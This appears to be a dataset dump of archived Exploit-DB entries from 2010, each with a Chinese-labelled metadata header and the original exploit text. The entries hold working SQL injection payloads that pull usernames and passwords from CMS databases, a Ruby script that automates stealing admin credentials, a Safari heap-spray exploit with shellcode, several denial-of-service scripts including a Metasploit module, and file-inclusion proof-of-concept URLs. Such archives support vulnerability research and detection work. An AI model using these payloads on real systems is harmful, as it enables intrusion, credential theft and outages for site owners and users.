QLWD/code_shield huggingface dataset:
标题: Joomla! Component Komento 1.0.0 - 'sid' SQL Injection EDB-ID: 12590 CVE: 2010-2044 类型: WEBAPPS 平台: PHP 发布日期: 2010-05-13 漏洞利用脚本: -------------------------------------------------------------------------
    Joomla Component com_konsultasi (sid) SQL Injection Vulnerability
-------------------------------------------------------------------------
Author      : c4uR
Date        : May, 13, 2010
Location    : Jakarta, Indonesia
Time Zone   : GMT +7:00
-------------------------------------------------------------------------

Esploit :
----------

-5/**/union/**/select/**/all/**/1,2,3,4,concat(username,0x3a,password)c4uR,6,7,8,9/**/from/**/jos_users--

SQLi p0c :
-----------

http://127.0.0.1/[gubrak]/index.php?option=com_konsultasi&act=detail&sid=[gubrak]
-------------------------------------------------------------------------

crott :
-----------

[+] Malingsial sempak, crott... crott... crott...
[+] tian(tangannye jgn nakal)+GheMaX(byk² makan, biar ad isinye)+xx_user+ChuCu+JaLi-
[+] si m0n0n, banci kamera(1214n,v4lc0m87,astroboyyy,aldy182)
[+] bocah tua nakal (mbah l4mpor,awchoy)
[+] flyff666(hacker qo, rokoknye djarum super cich. brukakakakaka)
[+] cruz3N(jgn maen sabun molo coy)+petimati(roko sp ajah d comot,brukakakak)
[+] spykit-hendri note(kalian jgn marahan mulu ea, yg akur..)
[+] v3n0m(payah ach, masa cari kost ajah blom ktmu sich, brukakakakaak)
[+] koh wisdom(rokok trus)+blue screen,skutengboy(kalian pasangan yg serasi, jikakakakakk)
[+] uzanc(payah ah, masa gw gg dibikinin)+jhony ramsoy(klo nikah, undang² gw ea)
[+] kiddies+om whitehat+chaer+om xadpritox
[+] K9+atom+legion(Good Job+you best cracker... hashkiller)
[+] amel bauell, gg ad matinye...



[+] Apartement Griya Semanggi + poinsonV
[+] Indonesia gg ada matinye, walaupun terkadang suram
-------------------------------------------------------------------------

contact :
-----------

- qinoryy@yahoo.com
- #devilzc0de @irc.dal.net URL: https://www.exploit-db.com/exploits/12590
标题: Apple Safari 4.0.5 - 'parent.close()' Memory Corruption Code Execution EDB-ID: 12573 CVE: 2010-1939 类型: REMOTE 平台: WINDOWS 发布日期: 2010-05-11 漏洞利用脚本: <!-- 
Apple Safari 4.0.5 parent.close() (memory corruption) 0day Code Execution Exploit
Bug discovered by Krystian Kloskowski (h07) <h07@interia.pl>
Tested on: Apple Safari 4.0.5 / XP SP2 Polish
Shellcode: Windows Execute Command (calc)
Local: Yes
Remote: Yes (POPUP must be enabled [Ctrl+Shift+K])
Just for fun ;)
-->

<!---------------------------------REMOTE.htm---------------------------------
<script>
window.open("0day.htm"); //parent.close() activation
self.close();
</script>
-----------------------------------REMOTE.htm-------------------------------->

<!---------------------------------0day.htm---------------------------------->
<h1>Alt + F4 :)</h1>

<script>
function make_buf(payload, len) {
    while(payload.length < (len * 2)) payload += payload;
    payload = payload.substring(0, len);
    return payload;
}

var shellcode = unescape("%u9090%u9090"+ //Windows Execute Command (calc)
"%ue8fc%u0044%u0000%u458b%u8b3c%u057c%u0178%u8bef%u184f%u5f8b"+
"%u0120%u49eb%u348b%u018b%u31ee%u99c0%u84ac%u74c0%uc107%u0dca"+
"%uc201%uf4eb%u543b%u0424%ue575%u5f8b%u0124%u66eb%u0c8b%u8b4b"+
"%u1c5f%ueb01%u1c8b%u018b%u89eb%u245c%uc304%uc031%u8b64%u3040"+
"%uc085%u0c78%u408b%u8b0c%u1c70%u8bad%u0868%u09eb%u808b%u00b0"+
"%u0000%u688b%u5f3c%uf631%u5660%uf889%uc083%u507b%uf068%u048a"+
"%u685f%ufe98%u0e8a%uff57%u63e7%u6c61%u0063");


bigblock = unescape("%u0D0D%u0D0D");
headersize = 20;
slackspace = headersize+shellcode.length
while (bigblock.length<slackspace) bigblock+=bigblock;
fillblock = bigblock.substring(0, slackspace);
block = bigblock.substring(0, bigblock.length-slackspace);
while(block.length+slackspace<0x40000) block = block+block+fillblock;
memory = new Array();
for (i=0;i<1000;i++) memory[i] = block + shellcode;

var a = parent;
var buf = make_buf("AAAA", 10000);

for(var i = 0; i <= 1; i++) {
    a.prompt(alert);
    a.prompt(buf);
    a.close();
}
</script>
<!---------------------------------0day.htm----------------------------------> URL: https://www.exploit-db.com/exploits/12573
标题: PHPKB Knowledge Base Software 2.0 - Multilanguage Support Multiple SQL Injections EDB-ID: 12561 CVE: 2008-5088 2008-1909 类型: WEBAPPS 平台: PHP 发布日期: 2010-05-10 漏洞利用脚本: [+] {In The Name Of Allah The Mercifull}
[+]
[~] Tybe: PHPKB Knowledge Base Software v2 Multilanguage Support Multi SQL Injection Vulnerabilities
[~] Vendor: www.knowledgebase-script.com
[+] Software:PHPKB Knowledge Base Software v2 Multilanguage Support
[-]
[+] author: ((R3d-D3v!L))
[~]

[+] TEAM: ArAB!AN !NFORMAT!ON SeCuR!TY ---->((4.!.5))
[~]

[?] contact: X[at]hotmail.co.jp
[-]
[?] Date: 3.Jan.2010
[?] T!ME: 04:15 am GMT
[?] Home: © Offensive Security
[?]
[?]
[-]{DEV!L'5 of SYST3M}

======================================================================================
# SQL Injection #1 - email.php ID
======================================================================================
[*] Err0r C0N50L3:
http://127.0.0.1/email.php?ID={EV!L EXPLO!T}

[*]{EV!L EXPLO!T}
1+UNION+SELECT+concat_ws(0x3a,version(),database(),user())+LIMIT 1,1/*

======================================================================================
# SQL Injection #2 - comment.php ID
======================================================================================
[*] Err0r C0N50L3:
http://127.0.0.1/comment.php?ID=EV!L EXPLO!T

[*]{EV!L EXPLO!T}
-1+union+select+concat(user(),char(32),database(),char(32),@@version_compile_os)/*



N073:

REAL RED DEV!L W@S h3r3 LAMERZ

GAZA !N our hearts !


[~]-----------------------------{((MAGOUSH-87))}------------------------------------------------#
#
[~] Greetz tO: [dolly &MERNA &DEV!L_MODY &po!S!ON Sc0rp!0N &JASM!N &MARWA & mAG0ush-1987] #
#
[~]70 ALL ARAB!AN HACKER 3X3PT : LAM3RZ #
#
[~] spechial thanks : ((HITLER JEDDAH & S!R TOTT! & DR.DAShER)) #
#
[?]spechial SupP0RT : MY M!ND # © Offensive Security #
#
[?]4r48!4n.!nforma7!0N.53cur!7y ---> ((r3d D3v!L<--M2Z--->JUPA<---aNd--->Devil ro0t)) #
#
[~]spechial FR!ND: 0r45hy #
#
[~] !'M 4R48!4N 3XPL0!73R. #
#
[~]{[(D!R 4ll 0R D!E)]}; #
#
[~]--------------------------------------------------------------------------------------------- # URL: https://www.exploit-db.com/exploits/12561
标题: tekno.Portal 0.1b - 'makale.php?id' SQL Injection EDB-ID: 12552 CVE: 2010-1925 类型: WEBAPPS 平台: PHP 发布日期: 2010-05-10 漏洞利用脚本: -------------------------------------------------------------------------------------------

tekno.Portal v 0.1b (makale.php id) SQL Injection Vulnerability

-------------------------------------------------------------------------------------------
 
Author: CoBRa_21
 
Mail: uyku_cu@windowslive.com
 
Script Name: tekno.Portal v 0.1b
 
Download: http://sourceforge.net/projects/teknoportal/
 
-------------------------------------------------------------------------------------------
 
Exploit:
 
http://localhost/teknoportal/makale.php?id=-1+union+select+0,1,version(),3,4,5,6,7
 
-------------------------------------------------------------------------------------------

Her&#351;ey Vatan &#304;çin; URL: https://www.exploit-db.com/exploits/12552
标题: 724CMS Enterprise 4.59 - SQL Injection EDB-ID: 12560 CVE: 2008-1858 类型: WEBAPPS 平台: PHP 发布日期: 2010-05-10 漏洞利用脚本: # 724CMS Enterprise Version 4.59 SQL Injection Vulnerability
# Homepage : http://724cms.com/
# Discovered: by cyberlog
# Dork : 724CMS Powered, 724CMS Version 4.59. Enterprise
# Thanks : r00t3r,adhietslank, k1n9k0ng, cr4wl3r,cah_gemblunkz, jayoes, thesims, setiawan,irvian,
           EA_Angel,BlueSpy, SoEy, A-technique, SarifJedul, wiro gendeng, ridho_bugs
# My Site : http://sekuritionline.net
# Channel : #sekuritionline


# Exploit :
# http://[target]/index.php?Lang=En&ID=[SQL Injection]


#special to Mama Sri Rahayu, C0li a.k.a antisecurity [ pinjem script perl-na ] :)
==============================================
We never die !!!! indonesian Underground Community
anjing buat oknum Pemerintah yang suka nilep uang rakyat !!! URL: https://www.exploit-db.com/exploits/12560
标题: Alibaba Clone 3.0 (Special) - SQL Injection EDB-ID: 12543 CVE: 2009-3504 类型: WEBAPPS 平台: PHP 发布日期: 2010-05-09 漏洞利用脚本: ----------------------------Information------------------------------------------------
+Name : Alibaba Clone Version <= 3.0 (Special) SQL Injection Vulnerability Exploit
+Autor : Easy Laster
+ICQ : 11-051-551
+Date   : 09.05.2010
+Script  : Alibaba Clone Version 3.0 (Special)
+Price : $499
+Language :PHP
+Discovered by Easy Laster 4004-security-project.com
+Security Group Undergroundagents and 4004-Security-Project 4004-security-project.com
+And all Friends of Cyberlive : R!p,Eddy14,Silent Vapor,Nolok,
Kiba,-tmh-,Dr.ChAoS,HANN!BAL,Kabel,-=Player=-,Lidloses_Auge,
N00bor,Ic3Drag0n,novaca!ne,n3w7u,Maverick010101,s0red,c1ox.
  
---------------------------------------------------------------------------------------
                                                                                       
 ___ ___ ___ ___                         _ _           _____           _         _ 
| | |   |   | | |___ ___ ___ ___ _ _ ___|_| |_ _ _ ___|  _  |___ ___  |_|___ ___| |_
|_  | | | | |_  |___|_ -| -_|  _| | |  _| |  _| | |___|   __|  _| . | | | -_|  _|  _|
  |_|___|___| |_|   |___|___|___|___|_| |_|_| |_  |   |__|  |_| |___|_| |___|___|_|
                                              |___|                 |___|          
  
  
----------------------------------------------------------------------------------------
+Vulnerability : www.site.com/cms/offers_buy.php?id=
----------------------------------------------------------------------------------------
#!/usr/bin/ruby
#4004-security-project.com
#Discovered and vulnerability by Easy Laster
require 'net/http'
print "
#########################################################
#               4004-Security-Project.com               #
#########################################################
#  Alibaba Clone Version 3.0 (Special) SQL Injection    #
#                  Vulnerability Exploit                #
#                      Using Host+Path                  #
#                       demo.com /cms/                  #
#                         Easy Laster                   #
#########################################################
"
block = "#########################################################"
print ""+ block +""
print "\nEnter host name (site.com)->"
host=gets.chomp
print ""+ block +""
print "\nEnter script path (/cms/ or /)->"
path=gets.chomp
print ""+ block +""
begin
dir = "offers_buy.php?id=9999+union+select+0,0,concat(0x23,0x23,0x23,0x23,0x23,es_admin_name,0x23,0x23,0x23,0x23,0x23),0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0+from+esb2b_admin--"
http = Net::HTTP.new(host, 80)
resp= http.get(path+dir)
print "\nThe Admin Name is  -> "+(/#####(.+)#####/).match(resp.body)[1]
dir = "offers_buy.php?id=9999+union+select+0,0,concat(0x23,0x23,0x23,0x23,0x23,es_pwd,0x23,0x23,0x23,0x23,0x23),0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0+from+esb2b_admin--"
http = Net::HTTP.new(host, 80)
resp= http.get(path+dir)
print "\nThe Password is  -> "+(/#####(.+)#####/).match(resp.body)[1]
print "\n"+ block +""
rescue
print "\nExploit failed"
end URL: https://www.exploit-db.com/exploits/12543
标题: TFTPGUI 1.4.5 - Long Transport Mode Overflow Denial of Service (Metasploit) EDB-ID: 12530 CVE: 2010-2028 类型: DOS 平台: WINDOWS 发布日期: 2010-05-08 漏洞利用脚本: # Title: TFTPGUI v1.4.5 Long Transport Mode Overflow
# EDB-ID: 12482
# CVE-ID: ()
# OSVDB-ID: ()
# Author: Jeremiah Talamantes
# Published: 2010-05-02
# Verified: yes

##
# This file is part of the Metasploit Framework and may be subject to 
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/ 
##

##
#
# TFTPGUI v1.4.5 Long Transport Mode Overflow
#
# Tested on: Windows XP, SP2 (EN)
#
# Date tested: 5/2/2010
#
#
# |~Greetz to Devin @ infointox.net~|
#
# Discovered by: Jeremiah Talamantes
# RedTeam Security
# http://www.redteamsecure.com
##

require 'msf/core'

class Metasploit3 < Msf::Auxiliary

 include Msf::Exploit::Remote::Udp
 include Msf::Auxiliary::Dos

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'TFTPGUI v1.4.5 Long Transport Mode Overflow',
   'Description'    => %q{
    The TFTPUtil GUI server version 1.4.5 can be
    DOSed by sending a specially crafted request. Discovered by
    Jeremiah Talamantes at RedTeam Security. 
    Greetz to Devin @ infointox.net.
   },
   'Author'         => 'Jeremiah Talamantes (RedTeam Security)',
   'License'        => MSF_LICENSE,
   'Version'        => '$Revision: 9179 $',
   'References'     =>
    [ 
     [ 'URL', 'http://www.redteamsecure.com/labs/post/37/redteam-discovers-0-day-in-tftpgui'], 
     [ 'URL', 'http://www.exploit-db.com/exploits/12482'], 
     [ 'URL', 'https://www.securityfocus.com/bid/39872'],
    ],
   'DisclosureDate' => 'May 02 2010'))

  register_options([Opt::RPORT(69)])
 end

 def run
  connect_udp
  print_status("Sending naughty request...")
  $fn = "A"
  $md = "A" * 496
  $stuff = "\00\x02" + $fn + "\0" + $md + "\0"
  udp_sock.put($stuff)  
  disconnect_udp
 end
end URL: https://www.exploit-db.com/exploits/12530
标题: Microsoft Windows - SMB2 Negotiate Protocol '0x72' Response Denial of Service EDB-ID: 12524 CVE: 2009-3103 类型: DOS 平台: WINDOWS 发布日期: 2010-05-07 漏洞利用脚本: #!/usr/bin/python

# === EDIT – this exploit appears to be exactly the same one of one which was already found
# and fixed notified by Laurent Gaffié, i did not know this but his blog post can be found here:
# http://g-laurent.blogspot.com/2009/11/windows-7-server-2008r2-remote-kernel.html

import socket,sys,time

print "Maliformed negotiate protocol response and quickly closing the connection causes Windows machines supporting SMB2 to crash (leaves the system hanging and unresponsive) -- tested on Win 7 build 2600"
print "Written by Jelmer de Hen"
print "Published at http://h.ackack.net/?p=387"
smb = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
smb.bind(("", 445))
smb.listen(1)
smbconn, addr = smb.accept()
print "[+] "+str(addr)+" is trying to make connection to us over port 445"
while 1:
 new_packet = smbconn.recv(1024)
 print "[+] Waiting for a negotiate request packet"
 if new_packet[8]=="r":
  print "[+] Received the negotiate request packet injecting the 4 bytes now..."
  smbconn.send("\x00\x00\x00\x01")
  break
print "[+] Closing connection... This is part of the exploit"
smbconn.close()
print "[+] Done, if all went good then the box on the other side crashed" URL: https://www.exploit-db.com/exploits/12524
标题: SmartCMS 2 - SQL Injection EDB-ID: 12507 CVE: 2014-9558 类型: WEBAPPS 平台: PHP 发布日期: 2010-05-04 漏洞利用脚本: ============ { Ariko-Security - Advisory #1/5/2010 } =============

       SQL injection vulnerability in SmartCMS v.2



Vendor's Description of Software:
# http://www.smartwebsites.com.cy/index.php?pageid=13&#9001;=en

Dork:
# n/a

Application Info:
# Name: SmartCMS
# Versions: V.2

Vulnerability Info:
# Type: SQL injection Vulnerability
# Risk: medium

Fix: 
# N/A

Time Table:
# 22/04/2010 - Vendor notified.


Input passed via the "pageid" ,"lang" parameters to index.php is not 

properly sanitised before being used in a SQL query.

Solution:
# Input validation of "pageid","lang" parameters should be corrected.


Vulnerability:
# http://[site]/index.php?pageid=[SQLi]&#9001;=[SQLi]

Credit:
# Discoverd By: MG
#Advisory:
http://www.ariko-security.com/apr2010/audyt_bezpieczenstwa_652.html
# Website: http://Ariko-security.com
# Contacts: support[-at-]ariko-security.com

Ariko-Security
vuln@ariko-security.com
tel.: +48512946012 (Mo-Fr 10.00-20.00 CET) URL: https://www.exploit-db.com/exploits/12507
标题: Multiple Browsers - 'window.print()' Denial of Service EDB-ID: 12509 CVE: 2009-3270 2008-7246 2008-7245 2008-7244 类型: DOS 平台: OSX 发布日期: 2010-05-04 漏洞利用脚本: <--
Firefox 3.6.3 window.print() DoS version 2
Found By:   Dr_IDE
Credits:    Asheesh kumar Mani Tripathi
Reference:  http://www.exploit-db.com/exploits/11432
Tested On:  Firefox 3.6.3 on OSX 10.6.3; Safari 4.0.5 on OSX 10.6.3
Tested On:
-->

<html>
<title>Dr_IDE Firefox 3.6.3 & Safari 4.0.5 window.print() DoS</title>
<script>
function test(){
window.onerror=new Function(history.go(window.open(window.print())));
}

test();
</script>
</html> URL: https://www.exploit-db.com/exploits/12509
标题: Openannuaire Openmairie Annuaire 2.00 - Local File Inclusion / Remote File Inclusion EDB-ID: 12486 CVE: 2010-1921 2010-1920 类型: WEBAPPS 平台: PHP 发布日期: 2010-05-02 漏洞利用脚本: ===================================================================================
Openannuaire Openmairie Annuaire 2.00 (RFI/LFI) Multiple File Include Vulnerability
===================================================================================

[+] Openannuaire Openmairie Annuaire 2.00 (RFI/LFI) Multiple File Include Vulnerability

1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0
0     _                   __           __       __                     1
1   /' \            __  /'__`\        /\ \__  /'__`\                   0
0  /\_, \    ___   /\_\/\_\ \ \    ___\ \ ,_\/\ \/\ \  _ ___           1
1  \/_/\ \ /' _ `\ \/\ \/_/_\_<_  /'___\ \ \/\ \ \ \ \/\`'__\          0
0     \ \ \/\ \/\ \ \ \ \/\ \ \ \/\ \__/\ \ \_\ \ \_\ \ \ \/           1
1      \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\           0
0       \/_/\/_/\/_/\ \_\ \/___/  \/____/ \/__/ \/___/  \/_/           1
1                  \ \____/ >> Exploit database separated by exploit   0
0                   \/___/          type (local, remote, DoS, etc.)    1
1                                                                      1
0  [+] Site            : Inj3ct0r.com                                  0
1  [+] Support e-mail  : submit[at]inj3ct0r.com                        1
0                                                                      0
1                    ######################################            1
0                    I'm cr4wl3r  member from Inj3ct0r Team            1
1                    ######################################            0
0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1

[+] Discovered By: cr4wl3r
[+] Download: https://adullact.net/frs/download.php/4432/openmairie_annuaire_2.00.zip
[+] Greetz: All member inj3ct0r.com, manadocoding.net, sekuritionline.net, gcc.web.id

[+] Thanks to: opt!x hacker, xoron, cyberlog, irvian, antihack, angky.tatoki, 
               EA ngel, zvtral, s4va, bL4Ck_3n91n3, untouch, team_elite, zreg, mywisdom, 
               SENOT, kec0a, d3viln3t, p4p4y, cybertomat, etaxCrew, emen, and all my friend

[+] PoC:

[~] RFI:
http://[site]/[path]/obj/annuaire.class.php?path_om=[Shell]
http://[site]/[path]/obj/droit.class.php?path_om=[Shell]
http://[site]/[path]/obj/collectivite.class.php?path_om=[Shell]
http://[site]/[path]/obj/profil.class.php?path_om=[Shell]
http://[site]/[path]/obj/direction.class.php?path_om=[Shell]
http://[site]/[path]/obj/service.class.php?path_om=[Shell]
http://[site]/[path]/obj/directiongenerale.class.php?path_om=[Shell]
http://[site]/[path]/obj/utilisateur.class.php?path_om=[Shell]

[~] LFI:
http://[site]/[path]/scr/soustab.php?dsn[phptype]=[LFI%00]


# Inj3ct0r.com [2010-05-03] URL: https://www.exploit-db.com/exploits/12486
标题: Opencatalogue 1.024 - Local File Inclusion EDB-ID: 12475 CVE: 2010-1999 类型: WEBAPPS 平台: PHP 发布日期: 2010-05-01 漏洞利用脚本: ====================================================
Opencatalogue 1.024 Local File Include Vulnerability
====================================================

[+] Opencatalogue 1.024 Local File Include Vulnerability

1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0
0     _                   __           __       __                     1
1   /' \            __  /'__`\        /\ \__  /'__`\                   0
0  /\_, \    ___   /\_\/\_\ \ \    ___\ \ ,_\/\ \/\ \  _ ___           1
1  \/_/\ \ /' _ `\ \/\ \/_/_\_<_  /'___\ \ \/\ \ \ \ \/\`'__\          0
0     \ \ \/\ \/\ \ \ \ \/\ \ \ \/\ \__/\ \ \_\ \ \_\ \ \ \/           1
1      \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\           0
0       \/_/\/_/\/_/\ \_\ \/___/  \/____/ \/__/ \/___/  \/_/           1
1                  \ \____/ >> Exploit database separated by exploit   0
0                   \/___/          type (local, remote, DoS, etc.)    1
1                                                                      1
0  [+] Site            : Inj3ct0r.com                                  0
1  [+] Support e-mail  : submit[at]inj3ct0r.com                        1
0                                                                      0
1                    ######################################            1
0                    I'm cr4wl3r  member from Inj3ct0r Team            1
1                    ######################################            0
0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1

[+] Discovered By: cr4wl3r
[+] Download: https://adullact.net/frs/download.php/1568/openmairie_catalogue_1.024.zip
[+] Greetz: All member inj3ct0r.com, manadocoding.net, sekuritionline.net, gcc.web.id

[+] Thanks to: opt!x hacker, xoron, cyberlog, irvian, antihack, angky.tatoki, 
               EA ngel, zvtral, s4va, bL4Ck_3n91n3, untouch, team_elite, zreg, mywisdom, 
               SENOT, kec0a, d3viln3t, p4p4y, cybertomat, etaxCrew, emen, and all my friend

[+] PoC: http://[site]/[path]/scr/soustab.php?dsn[phptype]=[LFI%00] URL: https://www.exploit-db.com/exploits/12475